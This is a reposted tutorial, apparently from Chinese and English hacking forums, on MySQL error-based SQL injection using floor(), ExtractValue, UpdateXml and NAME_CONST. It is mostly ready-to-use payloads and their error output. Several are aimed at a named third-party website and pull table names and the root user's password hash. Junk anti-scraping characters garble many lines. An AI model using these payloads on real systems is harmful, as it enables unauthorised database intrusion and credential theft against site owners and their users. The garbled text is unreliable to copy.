mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
2 u) v8 ]1 Q, g! A/ G3 B首先进行正常查询：

mysql> select * from article where id = 1;
* D( M0 y8 [3 H  n+ q4 g+—-+——-+———+
| id | title | content |
" [, o$ u- X0 X, p. J+—-+——-+———+
1 L. S0 c) w! N|  1 | test  | do it   |
! n! [4 v/ t2 j  X" U4 s$ s+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
& M: t8 x: ]' D# C& v' {9 Y: EERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
/ [0 X3 D5 N( n5 h% j3 R/ WERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

  u- O$ Y# N0 ]  R, x

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

$ H0 f, \. w, N+ f& I0 a$ O- g9 \Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
) W' b/ t! G0 o' j; d/ Z
+ J; i' k6 F1 [( `% e: xhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
" l. J5 F2 X# N* ?
1 O! v* h/ o$ o# x5 L2 O3 |Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
, |% c3 a: L3 C* X
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
- K2 U: d( m4 m4 d5 F" |& h
. L! D  U* U( @: o
" _7 e$ _- M( [4 D相关信息

. [2 U8 K9 a3 b0 l+ TNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
* _; }+ N1 w9 N! ~
Code:
0 x' i! o/ G8 H. lNAME_CONST(DATA, VALUE)
) f" X* s' _% G0 r1 {6 @: _8 Y) [
1 `8 g$ |: w  W3 ^Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
: `. N- k" w$ k
5 s: |# c0 ?' p1 i  USELECT NAME_CONST('TEST', 1)

" Q7 M" W& H. f* k4 q: `# j
$ X1 d/ u0 j0 [2 Z7 _2 `7 M. [6 h! V" z
|---------------|
1 `( U! x2 g0 X6 }8 C& {0 |2 a|     TEST      |
  |6 A3 j7 A/ Z8 k. q+ q|               |
|---------------|
|       1       |
|               |
|---------------|
; T( Q- D: x" D$ B# P$ |



http://dev.mysql.com/doc/refman/5.0/en/m...name-const
1 _0 K6 V6 b) K1 `8 y( I/ fIntro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

9 h% R' U- F+ R' s7 H4 t: f% [Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
$ M; v" B, I6 Z
* g. Y% i* j) A7 I& ?


& o2 P7 Z! L% f6 S3 @) r
) w2 b: X3 V! ~% J9 W/ ?! P# ?* qCode:
( Q5 C5 T) X0 \+ u) A" C8 Xand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
, |$ B' @1 U7 L# X& Z- I8 c: t
0 f$ q! ?2 x. k! T+ S6 ?
$ f8 X# W7 c! hVAR = Your MySQL variable.
' g5 ~% G; I7 Q/ h6 x$ Z# e
  L9 U# c" z# {# J9 T! xMySQL 5.1.3 Server System Variables
7 ^6 e) \! V7 |( S, R
Let's try it out on my site..
3 @6 A; I, C3 W7 L& k( p
) m+ C* w' `% Y: S1 K1 ~Code:
* U# B/ }3 s' l1 O. Z, T# Mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
7 d3 a* @0 K8 ]: F3 E
! i0 f% P1 s; u* A& j" p/ FErroruplicate column name '5.0.27-community-nt'
* q( I& j$ m; p
9 ?" O6 [6 Z& G( U

) |5 U0 J( T% R7 h

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
; ~& V! A0 A1 V; S
Code:
, ^/ |) e& n9 w4 y+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


! L- [7 Z1 V/ {1 F! c2 RWe should get a duplicate column 1 error...
( `9 M+ N, Z9 G6 C+ u& |/ G. f0 n
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
0 N7 t: Z) R6 t+ D; F7 o
0 Y& E7 t1 _! K  N
/ A6 _$ t& ]- g3 Z5 B+ \
0 Z. m6 e" S- n- j

: S3 B% x5 N  P. t6 s8 `3 U4 n
Now let's get the tables out this bitch..
  I" D6 T8 m/ f
; T) r1 i$ V" T6 M% vCode:
2 i! b7 q# {: P! y+ S8 i! c+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
: |. h3 m. h! p4 M: V

Let's see if it works here, if it does, we can go on and finish the job.
6 K; c/ `* _( N
5 e0 o7 J* E: `% m0 q5 \- vCode:
7 i. n  p$ k0 E' u$ `. _1 Zhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
, e7 _8 J8 j9 l( B$ E" w
6 ~3 J1 I/ l2 \  m
Erroruplicate column name 'com_admanage


- i" Z: P! x' ?9 E" D0 n

" [, S& Z  b$ l- W. l4 X; ~

) P, `  T6 A5 I! g5 Y; ~/ j' R2 M, [" TNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
: q; E! L2 M) [' _% Z
Let's get the columns out of the user table..
7 M  J5 G7 i/ L1 J
: l- t! G8 [# i8 w  J0 ]+ sCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


' L% ^$ t# Q* f6 F" SSo mine looks like this, and I get the duplicate column name 'Host'.
9 Z8 F2 C! }& o
7 J  [" s2 I) tCode:
% g) A; z/ d( L5 y  c+ q4 u: yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
* K& `; T( p7 o3 M
Erroruplicate column name 'Host'


! b" }$ E9 Y8 Q; X( f' M



Woot, time to finish this bitch off.
. [- P# F. c) s( o7 w6 m- @$ M( A
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...

# G) E6 F6 D$ X4 `- wCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

# E5 F" d& f2 p# _0 FErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

9 B) E: I, L  U3 R. A7 W
# {: t1 ~$ [, Z1 e


8 _. D7 @* Z% `
7 H+ W) h) O4 v: O# s" D7 o! ~+ sAnd there we have it, thanks for reading.
5 s8 S' _' Z2 w: ~1 e3 v
0 }; ?3 X: H% [2 |# p